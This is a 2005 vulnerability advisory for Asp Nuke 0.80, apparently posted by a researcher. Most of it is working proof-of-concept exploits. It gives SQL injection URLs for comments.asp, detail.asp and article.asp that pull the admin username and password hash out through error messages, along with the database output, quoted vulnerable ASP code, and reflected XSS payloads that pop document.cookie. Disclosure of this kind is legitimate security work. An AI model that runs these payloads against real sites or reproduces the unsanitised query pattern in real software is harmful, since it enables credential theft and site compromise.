Severity: High Title: Multiple Sql injection and XSS in Asp Nuke 0.80 (Working exploits included) Date: 22/04/2005 Vendor: Asp Nuke Vendor Website: http://www.aspnuke.com/ Summary: There are, multiple sql injection and xss in asp nuke 0.80. Proof of Concept Exploits: http://localhost/module/support/task/comments.asp?taskid='SQL_INJECTION SQL INJECTION Error # -2147217900 (0x80040E14) Unclosed quotation mark before the character string 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0'. SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0 [START CODE] sStat = "SELECT c.CommentID, c.ParentCommentID, c.Subject, c.Body, c.Created, " &_ " m.Username " &_ "FROM tblTaskComment c " &_ "LEFT JOIN tblMember m ON m.MemberID = c.MemberID " &_ "WHERE c.TaskID = " & nTaskID & " " &_ "ORDER BY c.Created" [END CODE] Example exploitation: To the get the username: http://localhost/module/support/task/comments.asp?taskid=Username-- This would result in, Error # -2147217913 (0x80040E07) Syntax error converting the varchar value 'admin' to a column of data type int. SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0 With "admin" being the username To the get the password: http://localhost/module/support/task/comments.asp?taskid=Password-- This would result in, Error # -2147217913 (0x80040E07) Syntax error converting the varchar value 'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a column of data type int. SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0 With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" being the password hash encrypted in SHA 256 http://localhost/module/support/task/detail.asp?taskid='SQL_INJECTION SQL INJECTION Error # -2147217900 (0x80040E14) Unclosed quotation mark before the character string 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0'. SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0 [START CODE] sStat = "SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, " &_ " pri.PriorityName, sta.StatusName, 0 As CommentCount, " &_ " tsk.Created " &_ "FROM tblTask tsk " &_ "INNER JOIN tblUser usr ON tsk.UserID = usr.UserID " &_ "INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID " &_ "INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID " &_ "WHERE tsk.TaskID = " & steForm("taskid") & " " &_ "AND tsk.Active <> 0 " &_ "AND tsk.Archive = 0" [END CODE] Example exploitation: To the get the username: http://localhost/module/support/task/detail.asp?taskid=Username-- This would result in, Error # -2147217913 (0x80040E07) Syntax error converting the varchar value 'admin' to a column of data type int. SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0 With "admin" being the username To the get the password: http://localhost/module/support/task/detail.asp?taskid=Password-- This would result in, Error # -2147217913 (0x80040E07) Syntax error converting the varchar value 'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a column of data type int. SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0 With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" being the password hash encrypted in SHA 256 http://localhost/module/article/article/article.asp?articleid='SQL_INJECTION SQL INJECTION Error # -2147217900 (0x80040E14) Unclosed quotation mark before the character string 'SQL_INJECTION AND art.Active <> 0 AND art.Archive = 0'. SELECT art.ArticleID, art.Title, art.ArticleBody, auth.FirstName, auth.LastName, cat.CategoryName, art.CommentCount, art.Created FROM tblArticle art INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID WHERE art.ArticleID = 'SQL_INJECTION AND art.Active <> 0 AND art.Archive = 0 [START CODE] sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_ " auth.FirstName, auth.LastName, " &_ " cat.CategoryName, art.CommentCount, " &_ " art.Created " &_ "FROM tblArticle art " &_ "INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_ "INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_ "INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_ "WHERE art.ArticleID = " & steForm("articleid") & " " &_ "AND art.Active <> 0 " &_ "AND art.Archive = 0" [END CODE] http://localhost/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS Pops Cookie http://localhost/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS Pops Cookie Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah Author: These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.
